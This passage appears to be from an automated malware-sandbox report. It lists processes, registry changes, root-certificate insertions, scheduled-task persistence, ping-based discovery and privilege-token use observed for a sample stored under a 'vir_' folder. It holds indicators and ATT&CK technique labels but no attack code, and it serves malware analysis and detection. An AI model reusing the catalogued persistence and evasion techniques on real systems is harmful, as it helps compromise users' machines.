3432	PING.EXE
2700	PING.EXE
1680	PING.EXE
796	PING.EXE
3992	PING.EXE
3652	PING.EXE
3912	PING.EXE
1984	PING.EXE

Delays execution with timeout.exe 3 IoCs

pid	Process
3308	timeout.exe
2176	timeout.exe
2380	timeout.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2500	ipconfig.exe

Kills process with taskkill 5 IoCs

pid	Process
2648	taskkill.exe
2364	taskkill.exe
1012	taskkill.exe
3576	taskkill.exe
3236	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

defense_evasion spyware trojan

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\13\IEFixedFontName = "Shruti"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\15	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\20\IEPropFontName = "Leelawadee UI"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\20\IEFixedFontName = "Leelawadee UI"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\36\IEFixedFontName = "Myanmar Text"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\39	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\4\IEPropFontName = "Times New Roman"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\25	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\36	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\38\IEFixedFontName = "MV Boli"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\9	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\10\IEFixedFontName = "Kokila"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\31\IEPropFontName = "Times New Roman"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\16	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\19\IEPropFontName = "Leelawadee UI"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\6\IEFixedFontName = "Courier New"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\25\IEPropFontName = "PMingLiu"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\38\IEPropFontName = "MV Boli"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\11\IEFixedFontName = "Shonar Bangla"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\17	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\21	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	3.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70a7f77a6579db01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\23\IEFixedFontName = "GulimChe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\32\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\33\IEFixedFontName = "Times New Roman"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\12\IEPropFontName = "Raavi"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\17\IEPropFontName = "Tunga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\25\IEFixedFontName = "MingLiu"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\17\IEFixedFontName = "Tunga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\23\IEPropFontName = "Gulim"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\8\IEFixedFontName = "Courier New"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\34\IEPropFontName = "Iskoola Pota"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\7	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\14\IEPropFontName = "Kalinga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\15\IEFixedFontName = "Vijaya"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\26\IEPropFontName = "Simsun"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\7\IEFixedFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\8\IEPropFontName = "Times New Roman"	reg.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000488e458415dfd040b51a3a9c902bccd200000000020000000000106600000001000020000000de7e362277639638d554eafd09d8a3d22fa819105803bd2b2b9b87605eedd3fa000000000e8000000002000020000000bdee9be2f50ce867293119f75ad0f2cfa234d2bb856e6d6075b37293911dd055200000005f3436812f3b5d80fa0fc5c19fc217ff898dbe24034df800b4edcfc25ff488e54000000033cc0d7b97b99b92de833ee86178f635bcf64a1475138815347d216da95ae6bc8a273d8df4c7724d9768a7f0a54346dd20abcc899b0042e891aafc8075b9c146	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International\Scripts\10\IEPropFontName = "Kokila"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\DOMStorage\httpsproxy.net\NumberOfSubdomains = "1"	IEXPLORE.EXE

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_Classes\Local Settings	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\psiphon\ = "URL:psiphon"	3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\psiphon\URL Protocol	3.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\psiphon\shell\open\command	3.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\psiphon\shell	3.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\psiphon\shell\open	3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\psiphon\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\\bloatware\\3.exe\" -- \"%1\""	3.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\psiphon	3.exe

Modifies system certificate store 2 TTPs 6 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	psiphon-tunnel-core.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	psiphon-tunnel-core.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba87030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a919000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	psiphon-tunnel-core.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	psiphon-tunnel-core.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a190000000100000010000000fd960962ac6938e0d4b0769aa1a64e262000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	psiphon-tunnel-core.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	psiphon-tunnel-core.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\phishing.url:favicon	IEXPLORE.EXE

Runs net.exe

Runs ping.exe 1 TTPs 32 IoCs

Remote System Discovery

T1018

pid	Process
796	PING.EXE
3992	PING.EXE
3652	PING.EXE
3912	PING.EXE
2700	PING.EXE
1440	PING.EXE
1768	PING.EXE
3744	PING.EXE
1036	PING.EXE
4048	PING.EXE
1592	PING.EXE
1680	PING.EXE
1720	PING.EXE
3180	PING.EXE
1928	PING.EXE
1532	PING.EXE
1728	PING.EXE
3616	PING.EXE
3524	PING.EXE
2256	PING.EXE
3976	PING.EXE
4012	PING.EXE
2968	PING.EXE
3928	PING.EXE
2524	PING.EXE
804	PING.EXE
3432	PING.EXE
1616	PING.EXE
1984	PING.EXE
3744	PING.EXE
3908	PING.EXE
3968	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 27 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2316	schtasks.exe
1696	schtasks.exe
3092	schtasks.exe
2636	schtasks.exe
2828	schtasks.exe
1048	schtasks.exe
2628	schtasks.exe
2924	schtasks.exe
3960	schtasks.exe
3856	schtasks.exe
2932	schtasks.exe
2180	schtasks.exe
3204	schtasks.exe
804	schtasks.exe
2460	schtasks.exe
2680	schtasks.exe
2444	schtasks.exe
3604	schtasks.exe
3624	schtasks.exe
2632	schtasks.exe
1592	schtasks.exe
3660	schtasks.exe
3952	schtasks.exe
2180	schtasks.exe
2236	schtasks.exe
2012	schtasks.exe
828	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
112	vlc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
3928	WinaeroTweaker-1.40.0.0-setup.tmp
3928	WinaeroTweaker-1.40.0.0-setup.tmp
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
1396	powershell.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
2732	powershell.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 6 IoCs

pid	Process
2016	ac3.exe
3516	taskmgr.exe
2036	cmd.exe
3632	mshta.exe
1896	taskmgr.exe
112	vlc.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	tasklist.exe
Token: SeDebugPrivilege	2648	taskkill.exe
Token: SeDebugPrivilege	2340	Rover.exe
Token: SeDebugPrivilege	2508	taskmgr.exe
Token: SeDebugPrivilege	1012	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeDebugPrivilege	3576	taskkill.exe
Token: SeDebugPrivilege	3616	scary.exe
Token: SeDebugPrivilege	4084	Romilyaa.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	2012	Romilyaa.exe
Token: SeDebugPrivilege	3564	Romilyaa.exe
